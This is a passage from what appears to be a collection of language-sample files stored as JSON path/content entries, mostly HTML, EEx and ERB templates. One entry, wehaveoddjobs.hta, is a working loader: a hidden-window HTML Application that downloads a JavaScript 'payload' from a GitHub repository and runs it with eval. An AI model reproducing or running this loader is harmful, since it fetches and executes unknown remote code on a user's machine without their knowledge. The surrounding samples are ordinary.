id=\"ex3-button-b\" on-click='{{ #(ex3b) }}'>Button B</button>\n                    </td>\n                    <td id=\"ex3-display\" class=\"display\">\n                        <div id=\"ex3-messages\">\n                        <loop-tpl bindings='{{ [x ex3-content] }}'>\n                          <p><text>~{x}</text></p>\n                        </loop-tpl>\n                        </div>\n                    </td>\n                </tr>\n            </table>\n        </div>\n\n        <!-- Example 4 -->\n        <div id=\"ex4\" class=\"example\">\n            <h2>Example 4</h2>\n            <table>\n                <tr>\n                    <td class=\"left\">\n                        <button id=\"ex4-button-a\">Go!</button>\n                    </td>\n                    <td id=\"ex4-display\" class=\"display\">\n                        <div id=\"ex4-messages\"></div>\n                    </td>\n                </tr>\n            </table>\n        </div>\n\n        <!-- Example 5 -->\n        <div id=\"ex5\" class=\"example\">\n            <h2>Example 5</h2>\n            <table>\n                <tr>\n                    <td class=\"left\">\n                        <button id=\"ex5-button\">Go!</button>\n                    </td>\n                    <td id=\"ex5-display\" class=\"display\">\n                        <div id=\"ex5-messages\"></div>\n                    </td>\n                </tr>\n            </table>\n        </div>\n\n        <!-- Example 6 -->\n        <div id=\"ex6\" class=\"example\" on-mousemove='{{ #(ex6 %) }}' >\n            <h2>Example 6</h2>\n            <table>\n                <tr>\n                    <td class=\"left\">\n                        <button id=\"ex6-button\" do-text='{{ ex6-button-name }}' on-click='{{ #(ex6-toggle)}}' ></button>\n                    </td>\n                    <td id=\"ex6-display\" class=\"display\">\n                        <div class=\"scrolling\">\n                            <div id=\"ex6-messages\">\n                            <loop-tpl bindings='{{ [x ex6-content] }}'>\n                              <p><text>~{x}</text></p>\n                            </loop-tpl>\n                            </div>\n                        </div>\n                    </td>\n                </tr>\n            </table>\n        </div>\n\n        <!-- Example 7 -->\n        <div id=\"ex7\" class=\"example\" on-mousemove='{{ #(ex7 %) }}'>\n            <h2>Example 7</h2>\n            <table>\n                <tr>\n                    <td class=\"left\">\n                        <button id=\"ex7-button\" do-text='{{ ex7-button-name }}' on-click='{{ #(ex7-toggle)}}'></button>\n                    </td>\n                    <td id=\"ex7-display\" class=\"display\">\n                        <div class=\"scrolling\">\n                            <div id=\"ex7-messages\">\n                            <loop-tpl bindings='{{ [x ex7-content] }}'>\n                              <p><text>~{x}</text></p>\n                            </loop-tpl>\n                            </div>\n                        </div>\n                    </td>\n                </tr>\n            </table>\n        </div>\n\n        <!-- Example 8 -->\n        <div id=\"ex8\" class=\"example\">\n            <h2>Example 8</h2>\n            <table>\n                <tr>\n                    <td class=\"left\">\n                        <button id=\"ex8-button\" on-click='{{ #(ex8) }}'>Click me!</button>\n                    </td>\n                    <td id=\"ex8-display\" class=\"display card\">\n                        <div class=\"scrolling\">\n                            <div id=\"ex8-messages\">\n                            <loop-tpl bindings='{{ [x ex8-content] }}'>\n                              <p><text>~{x}</text></p>\n                            </loop-tpl>\n                            </div>\n                        </div>\n                    </td>\n                </tr>\n            </table>\n        </div>\n\n        <!-- Example 9 -->\n        <div id=\"ex9\" class=\"example\">\n            <h2>Example 9</h2>\n            <table>\n                <tr>\n                    <td class=\"left\">\n                        <button id=\"ex9-button-prev\" on-click='{{ #(ex9-prev) }}' do-class='{{ (cell= {:disabled (= ex9-index 0)})}}'>Previous</button>\n                        <button id=\"ex9-button-next\" on-click='{{ #(ex9-next) }}' do-class='{{ (cell= {:disabled (= ex9-index (dec (count ex9-animals)))}) }}'>Next</button>\n                    </td>\n                    <td id=\"ex9-card\" class=\"display card\" do-text='{{ ex9-card }}'></td>\n                </tr>\n            </table>\n        </div>\n\n        <!-- Example 10 -->\n        <div id=\"ex10\" class=\"example\" on-keydown='{{ #(ex10-keys %) }}'>\n            <h2>Example 10</h2>\n            <table>\n                <tr>\n                    <td class=\"left\">\n                        <button id=\"ex10-button-start-stop\" do-text='{{ ex10-button-name}}' on-click='{{ #(ex10) }}'></button>\n                        <button id=\"ex10-button-prev\" on-click='{{ #(ex10-nav :prev) }}' \n                          do-class='{{ (cell= {:disabled (not= ex10-button-name \"STOP!\")}) }}'>Previous\n                        </button>\n                        <button id=\"ex10-button-next\" on-click='{{ #(ex10-nav :next) }}' do-class='{{ (cell= {:disabled (not= ex10-button-name \"STOP!\")}) }}'>Next</button>\n                    </td>\n                    <td id=\"ex10-card\" class=\"display card\" do-text='{{ ex10-card }}'></td>\n                </tr>\n            </table>\n        </div>\n    </body>\n</html>\n"
  },
  {
    "path": "samples/HTML/pages.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/xhtml;charset=UTF-8\"/>\n<title>Related Pages</title>\n<link href=\"qt.css\" rel=\"stylesheet\" type=\"text/css\"/>\n</head>\n<body>\n<div class=header>\n<a class=headerLink  href=\"index.html\">Main Page</a> &middot;\n<a class=headerLink  href=\"classoverview.html\">Class Overview</a> &middot;\n<a class=headerLink  href=\"hierarchy.html\">Hierarchy</a> &middot;\n<a class=headerLink  href=\"annotated.html\">All Classes</a>\n</div>\n<!-- Generated by Doxygen 1.8.1.2 -->\n</div><!-- top -->\n<div class=\"header\">\n  <div class=\"headertitle\">\n<div class=\"title\">Related Pages</div>  </div>\n</div><!--header-->\n<div class=\"contents\">\n<div class=\"textblock\">Here is a list of all related documentation pages:</div><div class=\"directory\">\n<table class=\"directory\">\n<tr id=\"row_0_\" class=\"even\"><td class=\"entry\"><img src=\"ftv2node.png\" alt=\"o\" width=\"16\" height=\"22\" /><a class=\"el\" href=\"classoverview.html\" target=\"_self\">Class Overview</a></td><td class=\"desc\"></td></tr>\n<tr id=\"row_1_\"><td class=\"entry\"><img src=\"ftv2lastnode.png\" alt=\"\\\" width=\"16\" height=\"22\" /><a class=\"el\" href=\"thelayoutsystem.html\" target=\"_self\">The Layout System</a></td><td class=\"desc\"></td></tr>\n</table>\n</div><!-- directory -->\n</div><!-- contents -->\n<div class=\"footer\" />Generated with <a href=\"http://www.doxygen.org/index.html\">Doxygen</a> 1.8.1.2</div>\n</body>\n</html>\n"
  },
  {
    "path": "samples/HTML/pkgdown.html",
    "content": "<!DOCTYPE html>\n<!-- Generated by pkgdown: do not edit by hand --><html lang=\"en\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n<meta charset=\"utf-8\">\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n<title>Make Static HTML Documentation for a Package • pkgdown</title>\n<link rel=\"shortcut icon\" type=\"image/x-icon\" href=\"favicon.ico\">\n<!-- jquery --><script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js\" integrity=\"sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8=\" crossorigin=\"anonymous\"></script><!-- Bootstrap --><link href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\" rel=\"stylesheet\" integrity=\"sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u\" crossorigin=\"anonymous\">\n<script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\" integrity=\"sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa\" crossorigin=\"anonymous\"></script><!-- Font Awesome icons --><link href=\"https://maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css\" rel=\"stylesheet\" integrity=\"sha384-T8Gy5hrqNKT+hzMclPo118YTQO6cYprQmhrYwIiQ/3axmI1hQomh7Ud2hPOy8SP1\" crossorigin=\"anonymous\">\n<!-- clipboard.js --><script src=\"https://cdnjs.cloudflare.com/ajax/libs/clipboard.js/2.0.1/clipboard.min.js\" integrity=\"sha256-hIvIxeqhGZF+VVeM55k0mJvWpQ6gTkWk3Emc+NmowYA=\" crossorigin=\"anonymous\"></script><!-- sticky kit --><script src=\"https://cdnjs.cloudflare.com/ajax/libs/sticky-kit/1.1.3/sticky-kit.min.js\" integrity=\"sha256-c4Rlo1ZozqTPE2RLuvbusY3+SU1pQaJC0TjuhygMipw=\" crossorigin=\"anonymous\"></script><!-- pkgdown --><link href=\"pkgdown.css\" rel=\"stylesheet\">\n<script src=\"pkgdown.js\"></script><!-- docsearch --><script src=\"docsearch.js\"></script><link rel=\"stylesheet\" href=\"https://cdn.jsdelivr.net/npm/docsearch.js@2/dist/cdn/docsearch.min.css\">\n<link href=\"docsearch.css\" rel=\"stylesheet\">\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/mark.js/8.11.1/jquery.mark.min.js\" integrity=\"sha256-4HLtjeVgH0eIB3aZ9mLYF6E8oU5chNdjU6p6rrXpl9U=\" crossorigin=\"anonymous\"></script><meta property=\"og:title\" content=\"Make Static HTML Documentation for a Package\">\n<meta property=\"og:description\" content=\"Generate an attractive and useful website from a source package.\n    'pkgdown' converts your documentation, vignettes, 'README', and more to \n    'HTML' making it easy to share information about your package online.\">\n<meta property=\"og:image\" content=\"http://pkgdown.r-lib.org/logo.png\">\n<meta name=\"twitter:card\" content=\"summary\">\n<!-- mathjax --><script src=\"https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/MathJax.js?config=TeX-AMS-MML_HTMLorMML\"></script><!--[if lt IE 9]>\n<script src=\"https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js\"></script>\n<script src=\"https://oss.maxcdn.com/respond/1.4.2/respond.min.js\"></script>\n<![endif]-->\n</head>\n<body>\n    <div class=\"container template-article\">\n      <header><div class=\"navbar navbar-default navbar-fixed-top\" role=\"navigation\">\n  <div class=\"container\">\n    <div class=\"navbar-header\">\n      <button type=\"button\" class=\"navbar-toggle collapsed\" data-toggle=\"collapse\" data-target=\"#navbar\" aria-expanded=\"false\">\n        <span class=\"sr-only\">Toggle navigation</span>\n        <span class=\"icon-bar\"></span>\n        <span class=\"icon-bar\"></span>\n        <span class=\"icon-bar\"></span>\n      </button>\n      <span class=\"navbar-brand\">\n        <a class=\"navbar-link\" href=\"index.html\">pkgdown</a>\n        <span class=\"label label-danger\" data-toggle=\"tooltip\" data-placement=\"bottom\" title=\"Unreleased version\">1.1.0.9000</span>\n      </span>\n    </div>\n\n    <div id=\"navbar\" class=\"navbar-collapse collapse\">\n      <ul class=\"nav navbar-nav\">\n<li>\n  <a href=\"index.html\">\n    <span class=\"fa fa-home fa-lg\"></span>\n     \n  </a>\n</li>\n<li>\n  <a href=\"articles/pkgdown.html\">Get started</a>\n</li>\n<li>\n  <a href=\"reference/index.html\">Reference</a>\n</li>\n<li class=\"dropdown\">\n  <a href=\"#\" class=\"dropdown-toggle\" data-toggle=\"dropdown\" role=\"button\" aria-expanded=\"false\">\n    Articles\n     \n    <span class=\"caret\"></span>\n  </a>\n  <ul class=\"dropdown-menu\" role=\"menu\">\n<li>\n      <a href=\"articles/test/details.html\">Test: Details tag</a>\n    </li>\n    <li>\n      <a href=\"articles/test/external.html\">Test: External file tests</a>\n    </li>\n    <li>\n      <a href=\"articles/test/figures.html\">Test: Figures</a>\n    </li>\n    <li>\n      <a href=\"articles/test/highlight.html\">Test: Highlighting</a>\n    </li>\n    <li>\n      <a href=\"articles/test/jss.pdf\">Test: JSS article (PDF)</a>\n    </li>\n    <li>\n      <a href=\"articles/test/output.html\">Test: Custom output</a>\n    </li>\n    <li>\n      <a href=\"articles/test/pdf.pdf\">Test: PDF (PDF)</a>\n    </li>\n    <li>\n      <a href=\"articles/test/widget.html\">Test: Widgets</a>\n    </li>\n  </ul>\n</li>\n<li>\n  <a href=\"news/index.html\">Changelog</a>\n</li>\n      </ul>\n<ul class=\"nav navbar-nav navbar-right\">\n<li>\n  <a href=\"https://github.com/r-lib/pkgdown\">\n    <span class=\"fa fa-github fa-lg\"></span>\n     \n  </a>\n</li>\n      </ul>\n<form class=\"navbar-form navbar-right\" role=\"search\">\n        <div class=\"form-group\">\n          <input type=\"search\" class=\"form-control\" name=\"search-input\" id=\"search-input\" placeholder=\"Search...\" aria-label=\"Search for...\" autocomplete=\"off\">\n</div>\n      </form>\n      \n    </div>\n<!--/.nav-collapse -->\n  </div>\n<!--/.container -->\n</div>\n<!--/.navbar -->\n\n      \n      </header><div class=\"row\">\n  <div class=\"col-md-9 contents\">\n    \n\n    \n    \n<!-- README.md is generated from README.Rmd. Please edit that file -->\n<div id=\"pkgdown\" class=\"section level1\">\n<div class=\"page-header\"><h1 class=\"hasAnchor\">\n<a href=\"#pkgdown\" class=\"anchor\"></a>pkgdown <img src=\"reference/figures/logo.png\" align=\"right\" alt=\"\">\n</h1></div>\n\n<p>pkgdown is designed to make it quick and easy to build a website for your package. You can see pkgdown in action at <a href=\"https://pkgdown.r-lib.org\" class=\"uri\">https://pkgdown.r-lib.org</a>: this is the output of pkgdown applied to the latest version of pkgdown. Learn more in <code><a href=\"articles/pkgdown.html\">vignette(\"pkgdown\")</a></code> or <code><a href=\"reference/build_site.html\">?build_site</a></code>.</p>\n<div id=\"installation\" class=\"section level2\">\n<h2 class=\"hasAnchor\">\n<a href=\"#installation\" class=\"anchor\"></a>Installation</h2>\n<div class=\"sourceCode\" id=\"cb1\"><pre class=\"sourceCode r\"><code class=\"sourceCode r\"><a class=\"sourceLine\" id=\"cb1-1\" data-line-number=\"1\"><span class=\"co\"># Install release version from CRAN</span></a>\n<a class=\"sourceLine\" id=\"cb1-2\" data-line-number=\"2\"><span class=\"kw\">install.packages</span>(<span class=\"st\">\"pkgdown\"</span>)</a>\n<a class=\"sourceLine\" id=\"cb1-3\" data-line-number=\"3\"></a>\n<a class=\"sourceLine\" id=\"cb1-4\" data-line-number=\"4\"><span class=\"co\"># Install development version from GitHub</span></a>\n<a class=\"sourceLine\" id=\"cb1-5\" data-line-number=\"5\">devtools<span class=\"op\">::</span><span class=\"kw\"><a href=\"http://www.rdocumentation.org/packages/devtools/topics/install_github\">install_github</a></span>(<span class=\"st\">\"r-lib/pkgdown\"</span>)</a></code></pre></div>\n</div>\n<div id=\"usage\" class=\"section level2\">\n<h2 class=\"hasAnchor\">\n<a href=\"#usage\" class=\"anchor\"></a>Usage</h2>\n<p>Run pkgdown from the package directory each time you release your package:</p>\n<div class=\"sourceCode\" id=\"cb2\"><pre class=\"sourceCode r\"><code class=\"sourceCode r\"><a class=\"sourceLine\" id=\"cb2-1\" data-line-number=\"1\">pkgdown<span class=\"op\">::</span><span class=\"kw\"><a href=\"http://pkgdown.r-lib.org/reference/build_site.html\">build_site</a></span>()</a></code></pre></div>\n<p>This will generate a <code>docs/</code> directory. The home page will be generated from your package’s <code>README.md</code>, and a function reference will be generated from the documentation in the <code>man/</code> directory. If you are using GitHub, the easiest way to make this your package website is to check into git, then go to settings for your repo and make sure that the <strong>GitHub pages</strong> source is set to “master branch /docs folder”. Be sure to update the URL on your github repository homepage so others can easily navigate to your new site.</p>\n<p>To customise your site, create <code>_pkgdown.yml</code> and modify it <a href=\"http://pkgdown.r-lib.org/articles/pkgdown.html\">as described in the documentation</a>. You can also use <code>pkgdown/_pkgdown.yml</code> if you need other files to customise your site.</p>\n<p>The package includes an RStudio add-in that you can bind to a keyboard shortcut. I recommend <code>Cmd</code> + <code>Shift</code> + <code>W</code>: it uses <code>Cmd</code> + <code>Shift</code>, like all other package development worksheets, it replaces a rarely used command (close all tabs), and the <code>W</code> is a mnemonic for website.</p>\n</div>\n<div id=\"in-the-wild\" class=\"section level2\">\n<h2 class=\"hasAnchor\">\n<a href=\"#in-the-wild\" class=\"anchor\"></a>In the wild</h2>\n<p>As at last count, pkgdown is used <a href=\"https://github.com/search?o=desc&amp;q=pkgdown.css+in%3Apath+path%3Adocs&amp;s=indexed&amp;type=Code\">by over 2000 packages</a>.</p>\n<p>Here are a few examples created by people contributors to pkgdown:</p>\n<ul>\n<li><p><a href=\"http://mc-stan.org/bayesplot/index.html\">bayesplot</a> [<a href=\"https://github.com/stan-dev/bayesplot/tree/gh-pages\">source</a>]: plotting functions for posterior analysis, model checking, and MCMC diagnostics.</p></li>\n<li><p><a href=\"https://valr.hesselberthlab.org/\">valr</a> [<a href=\"https://github.com/rnabioco/valr\">source</a>]: read and manipulate genome intervals and signals.</p></li>\n<li><p><a href=\"http://jranke.github.io/mkin/\">mkin</a> [<a href=\"https://github.com/jranke/mkin\">source</a>]: calculation routines based on the FOCUS Kinetics Report</p></li>\n<li><p><a href=\"http://renozao.github.io/NMF/master/index.html\">NMF</a> [<a href=\"https://github.com/renozao/NMF\">source</a>]: a framework to perform non-negative matrix factorization (NMF).</p></li>\n</ul>\n<p>Comparing the source and output of these sites is a great way to learn new pkgdown techniques.</p>\n</div>\n<div id=\"code-of-conduct\" class=\"section level2\">\n<h2 class=\"hasAnchor\">\n<a href=\"#code-of-conduct\" class=\"anchor\"></a>Code of conduct</h2>\n<p>Please note that this project is released with a <a href=\"CODE_OF_CONDUCT.html\">Contributor Code of Conduct</a>. By participating in this project you agree to abide by its terms.</p>\n</div>\n</div>\n  </div>\n\n  <div class=\"col-md-3 hidden-xs hidden-sm\" id=\"sidebar\">\n    <div class=\"links\">\n<h2>Links</h2>\n<ul class=\"list-unstyled\">\n<li>Download from CRAN at <br><a href=\"https://cloud.r-project.org/package=pkgdown\">https://​cloud.r-project.org/​package=pkgdown</a>\n</li>\n<li>Browse source code at <br><a href=\"https://github.com/r-lib/pkgdown\">https://​github.com/​r-lib/​pkgdown</a>\n</li>\n<li>Report a bug at <br><a href=\"https://github.com/r-lib/pkgdown/issues\">https://​github.com/​r-lib/​pkgdown/​issues</a>\n</li>\n</ul>\n</div>\n<div class=\"license\">\n<h2>License</h2>\n<ul class=\"list-unstyled\">\n<li><a href=\"LICENSE.html\">Full license</a></li>\n<li><small><a href=\"https://opensource.org/licenses/mit-license.php\">MIT</a> + file <a href=\"LICENSE-text.html\">LICENSE</a></small></li>\n</ul>\n</div>\n<div class=\"developers\">\n<h2>Developers</h2>\n<ul class=\"list-unstyled\">\n<li>\n<a href=\"http://hadley.nz\">Hadley Wickham</a> <br><small class=\"roles\"> Author, maintainer </small> <a href=\"https://orcid.org/0000-0003-4757-117X\" target=\"orcid.widget\"><img src=\"https://members.orcid.org/sites/default/files/vector_iD_icon.svg\" class=\"orcid\" alt=\"ORCID\" height=\"16\"></a> </li>\n<li>\n<a href=\"https://hesselberthlab.org\">Jay Hesselberth</a> <br><small class=\"roles\"> Author </small> <a href=\"https://orcid.org/0000-0002-6299-179X\" target=\"orcid.widget\"><img src=\"https://members.orcid.org/sites/default/files/vector_iD_icon.svg\" class=\"orcid\" alt=\"ORCID\" height=\"16\"></a> </li>\n<li>\n<a href=\"https://www.rstudio.com\"><img src=\"https://tidyverse.org/rstudio-logo.svg\" alt=\"RStudio\" height=\"24\"></a> <br><small class=\"roles\"> Copyright holder, funder </small>  </li>\n</ul>\n</div>\n\n      <div class=\"dev-status\">\n<h2>Dev status</h2>\n<ul class=\"list-unstyled\">\n<li><a href=\"https://travis-ci.org/r-lib/pkgdown\"><img src=\"https://travis-ci.org/r-lib/pkgdown.svg?branch=master\" alt=\"Travis-CI build status\"></a></li>\n<li><a href=\"https://ci.appveyor.com/project/r-lib/pkgdown\"><img src=\"https://ci.appveyor.com/api/projects/status/github/r-lib/pkgdown?branch=master&amp;svg=true\" alt=\"AppVeyor build status\"></a></li>\n<li><a href=\"https://www.tidyverse.org/lifecycle/#maturing\"><img src=\"https://img.shields.io/badge/lifecycle-maturing-blue.svg\" alt=\"Lifecycle: maturing\"></a></li>\n<li><a href=\"https://cran.r-project.org/package=pkgdown\"><img src=\"https://www.r-pkg.org/badges/version/pkgdown\" alt=\"CRAN Status\"></a></li>\n<li><a href=\"https://codecov.io/github/r-lib/pkgdown?branch=master\"><img src=\"https://img.shields.io/codecov/c/github/r-lib/pkgdown/master.svg\" alt=\"Codecov test coverage\"></a></li>\n</ul>\n</div>\n</div>\n\n</div>\n\n\n      <footer><div class=\"copyright\">\n  <p>Developed by <a href=\"http://hadley.nz\">Hadley Wickham</a>, <a href=\"https://hesselberthlab.org\">Jay Hesselberth</a>, <a href=\"https://www.rstudio.com\"><img src=\"https://tidyverse.org/rstudio-logo.svg\" alt=\"RStudio\" height=\"24\"></a>.</p>\n</div>\n\n<div class=\"pkgdown\">\n  <p>Site built with <a href=\"http://pkgdown.r-lib.org/\">pkgdown</a>.</p>\n</div>\n\n      </footer>\n</div>\n\n  \n<script type=\"text/javascript\" src=\"https://cdn.jsdelivr.net/npm/docsearch.js@2/dist/cdn/docsearch.min.js\"></script><script>\n  docsearch({\n    \n    \n    apiKey: 'fbd8d79ed49f21fc9ca7b2cf601a3f5b',\n    indexName: 'pkgdown',\n    inputSelector: 'input#search-input.form-control',\n    transformData: function(hits) {\n      return hits.map(function (hit) {\n        hit.url = updateHitURL(hit);\n        return hit;\n      });\n    }\n  });\n</script>\n</body>\n</html>\n"
  },
  {
    "path": "samples/HTML/rpanel.inc",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n<link rel=\"stylesheet\" charset=\"UTF-8\" type=\"text/css\" href=\"main.css\">\n<meta charset=\"UTF-8\">\n</head>\n<body>\n    <div id=\"panel_header_main_form\">\n        <p id=\"panel_header_main_form_title\">Поддержка:</p>\n    </div>\n    <table>\n        <tbody>\n            <tr>\n                <td>    \n                    <p>Москва:</p>\n                </td>\n                <td>    \n                    <p>+7-902-7-800-807</p>\n                </td>\n            </tr>\n            <tr>\n                <td>    \n                    <p>Регионы:</p>\n                </td>\n                <td>    \n                    <p>+7-902-7-800-807</p>\n                </td>\n            </tr>\n        </tbody>\n    </table>\n</body>\n"
  },
  {
    "path": "samples/HTML/tailDel.inc",
    "content": "</UL>\n<P><A HREF=\"devices.html\">Supported Targets</A></P>\n</BODY>\n</HEAD>\n\n"
  },
  {
    "path": "samples/HTML/wehaveoddjobs.hta",
    "content": "<html>\n<head>\n<title>NEUTRONSTAR</title>\n<HTA:APPLICATION\n   Application ID = \"Test\"\n   APPLICATIONNAME = \"Test\"\n   BORDER = \"DIALOG\"\n   BORDERSTYLE = \"NORMAL\"\n   CAPTION = \"YES\"\n   CONTEXTMENU = \"YES\"\n   ICON = \"\"\n   INNERBORDER = \"YES\"\n   MAXIMIZEBUTTON = \"YES\"\n   MINIMIZEBUTTON = \"YES\"\n   NAVIGABLE = \"NO\"\n   SCROLL = \"AUTO\"\n   SCROLLFLAT = \"NO\"\n   SELECTION = \"NO\"\n   SHOWINTASKBAR = \"YES\"\n   SINGLEINSTANCE = \"NO\"\n   SYSMENU = \"YES\"\n   VERSION = \"1.0\"\n   WINDOWSTATE = \"HIDDEN\"\n   />\n</head>\n<SCRIPT Language=\"JScript\">\n\tvar WinHttpReq = new ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");\n\tstrURL = 'https://raw.githubusercontent.com/secdev-01/NEUTRONSTAR/main/payloads/taskmaster.js';\n\tvar temp = WinHttpReq.Open(\"GET\", strURL, false);  \n\tWinHttpReq.Send();\n\tstrResult = WinHttpReq.ResponseText;\n\teval(strResult);\n\tclose();\n</SCRIPT>\n<body>\n\n</body>\n</html>\n"
  },
  {
    "path": "samples/HTML+ECR/greeting.ecr",
    "content": "<% if @name %>\n  Greeting, <%= @name %>!\n<% else %>\n  Greeting!\n<% end %>\n"
  },
  {
    "path": "samples/HTML+EEX/index.html.eex",
    "content": "<h1>Listing Books</h1>\n \n<table>\n  <tr>\n    <th>Title</th>\n    <th>Summary</th>\n    <th></th>\n    <th></th>\n    <th></th>\n  </tr>\n\n<%= for book <- @books do %>\n  <tr>\n    <%# comment %>\n    <td><%= book.title %></td>\n    <td><%= book.content %></td>\n    <td><%= link \"Show\", to: book_path(@conn, :show, book) %></td>\n    <td><%= link \"Edit\", to: book_path(@conn, :edit, book) %></td>\n    <td><%= link \"Delete\", to: book_path(@conn, :delete, book), method: :delete, data: [confirm: \"Are you sure?\"] %></td>\n  </tr>\n<% end %>\n</table>\n \n<br />\n \n<%= link \"New book\", to: book_path(@conn, :new) %>\n"
  },
  {
    "path": "samples/HTML+EEX/live_component.html.heex",
    "content": "<div>\n  <h2><%%= @title %></h2>\n\n  <.form\n    let={f}\n    for={@changeset}\n    id=\"<%= schema.singular %>-form\"\n    phx-target={@myself}\n    phx-change=\"validate\"\n    phx-submit=\"save\">\n  <%= for {label, input, error} <- inputs, input do %>\n    <%= label %>\n    <%= input %>\n    <%= error %>\n  <% end %>\n    <div>\n      <%%= submit \"Save\", phx_disable_with: \"Saving...\" %>\n    </div>\n  </.form>\n</div>\n"
  },
  {
    "path": "samples/HTML+EEX/live_component.html.leex",
    "content": "<h2><%= @title %></h2>\n\n<%= f = form_for @changeset, \"#\",\n  id: \"form\",\n  phx_target: @myself,\n  phx_change: \"validate\",\n  phx_submit: \"save\" %>\n<%= for {label, input, error} <- inputs, input do %>\n  <%= label %>\n  <%= input %>\n  <%= error %>\n<% end %>\n  <%= submit \"Save\", phx_disable_with: \"Saving...\" %>\n</form>\n"
  },
  {
    "path": "samples/HTML+ERB/fishbowl.html.erb.deface",
    "content": "<!-- insert_before '[data-hook=\"buttons\"]' -->\n<% if Spree::Config[:enable_fishbowl] %>\n<div class=\"row\">\n  <div class=\"twelve columns\" id=\"fishbowl_preferences\">\n    <fieldset class=\"no-border-bottom\">\n      <legend align=\"center\"><%= t(:fishbowl_settings)%></legend>\n      <% @fishbowl_options.each do |key| %>\n          <div class=\"field\">\n            <%= label_tag(key, t(key.to_s.gsub('fishbowl_', '').to_sym) + ': ') + tag(:br) %>\n            <%= text_field_tag('preferences[' + key.to_s + ']', Spree::Config[key], { :size => 10, :class => 'fullwidth' }) %>\n          </div>\n      <% end %>\n      <div class=\"field\">\n        <%= hidden_field_tag 'preferences[fishbowl_always_fetch_current_inventory]', '0' %>\n        <%= check_box_tag('preferences[fishbowl_always_fetch_current_inventory]', \"1\", Spree::Config[:fishbowl_always_fetch_current_inventory]) %>\n        <%= t(:always_fetch_current_inventory) %>\n      </div>\n      <% if !@location_groups.empty? %>\n        <div class=\"field\">\n          <%= label_tag(:fishbowl_location_group, t(:location_group) + ': ') + tag(:br) %>\n          <%= select('preferences', 'fishbowl_location_group', @location_groups, { :selected => Spree::Config[:fishbowl_location_group]}, { :class => ['select2', 'fullwidth'] }) %>\n        </div>\n      <% end %>\n    </fieldset>\n  </div>\n</div>\n\n<script type=\"text/javascript\">\n  $('.select2').select2();\n</script>\n<% end %>"
  },
  {
    "path": "samples/HTML+ERB/index.html.erb",
    "content": "<% provide(:title, @header) %>\n<% present @users do |user_presenter| %>\n\t<div class=\"row key-header\">\n\t\t<h1><%= @header %></h1>\n\t</div>\n\n\t<div class='row'>\n\t\t<div class='small-12 columns'>\n\t\t\t<%= will_paginate %>\n\t\t</div>\n\t</div>\n\t<div class=\"row key-table\">\n\t\t<div class=\"small-12 columns\">\n\t\t\t<div class=\"row key-table-row\">\n\t\t\t\t<div class=\"small-2 columns\">Name</div>\n\t\t\t\t<div class=\"small-3 columns\">Email</div>\n\t\t\t\t<div class=\"small-1 columns\">Chords</div>\n\t\t\t\t<div class=\"small-1 columns\">Keys</div>\n\t\t\t\t<div class=\"small-1 columns\">Tunings</div>\n\t\t\t\t<div class=\"small-1 columns\">Credits</div>\n\t\t\t\t<div class=\"small-1 columns\">Prem?</div>\n\t\t\t\t<div class=\"small-2 columns\">Since?</div>\n\t\t\t</div>\n\n\t\t\t<% if @users == [] %>\n\t\t\t\t<div class=\"row key-table-row\">\n\t\t\t\t\t<div class=\"small-4 small-centered columns\">No Users</div>\n\t\t\t\t</div>\n\t\t\t<% else %>\n\t\t\t\t<%= render @users %>\n\t\t\t<% end %>\n\t\t</div>\n\t</div>\n\t<div class='row'>\n\t\t<div class='small-12 columns'>\n\t\t\t<%= will_paginate %>\n\t\t</div>\n\t</div>\n<% end %>"
  },
  {
    "path": "samples/HTML+ERB/index.rhtml",
    "content": "<%= render :partial => 'header' %>\n<table>\n  <tr>\n    <td>Age group</td>\n    <td id='headers'>U5</td>\n    <td id='headers'>5-14</td>\n    <td id='headers'>>14</td>\n    <td id='headers'>Total</td>\n  </tr>\n  <tr class=\"header\">\n    <td>Diagnosis</td>\n    <%4.times do%>\n    <td><table><tr><td id=\"headers\">M</td><td id=\"headers\">F</td></tr></table></td>\n    <%end%>\n  </tr>\n  <% \n      counter = 0 \n    @diagnoses.each{|diagnosis|\n      #raise  diagnosis.to_yaml and return\n      count_male_under_five = 0\n      count_female_under_five = 0\n      count_male_in_between = 0\n      count_female_in_between = 0\n      count_male_above_fourteen = 0\n      count_female_above_fourteen = 0\n      @patient_record.each{|patient|\n        if patient['value_coded'].to_s == diagnosis.value_coded\n          if (patient['age'].to_i < 5 )\n            if (patient['sex'].to_s == 'Male')\n              count_male_under_five += 1\n            else\n              count_female_under_five += 1\n            end\n          elsif (patient['age'].to_i >= 5 and patient['age'].to_i <= 14)\n            if (patient['sex'].to_s == 'Male')\n              count_male_in_between += 1\n            else\n              count_female_in_between += 1\n            end\n          elsif (patient['age'].to_i > 14 )\n            if (patient['sex'].to_s == 'Male')\n              count_male_above_fourteen += 1\n            else\n              count_female_above_fourteen += 1\n            end\n          end\n        end \n      }\n     counter += 1 \n  %>\n  <tr style='background-color: <%=counter % 2 == 0 ? \"white\" : \"lightgrey\"%>'>\n    <td><%= diagnosis.name%></td>\n    <td><table>\n        <tr><td id=\"values\"><%= count_male_under_five %></td><td id=\"values\"><%= count_female_under_five %></td></tr>\n    </table></td>\n    <td><table><tr><td id=\"values\"><%= 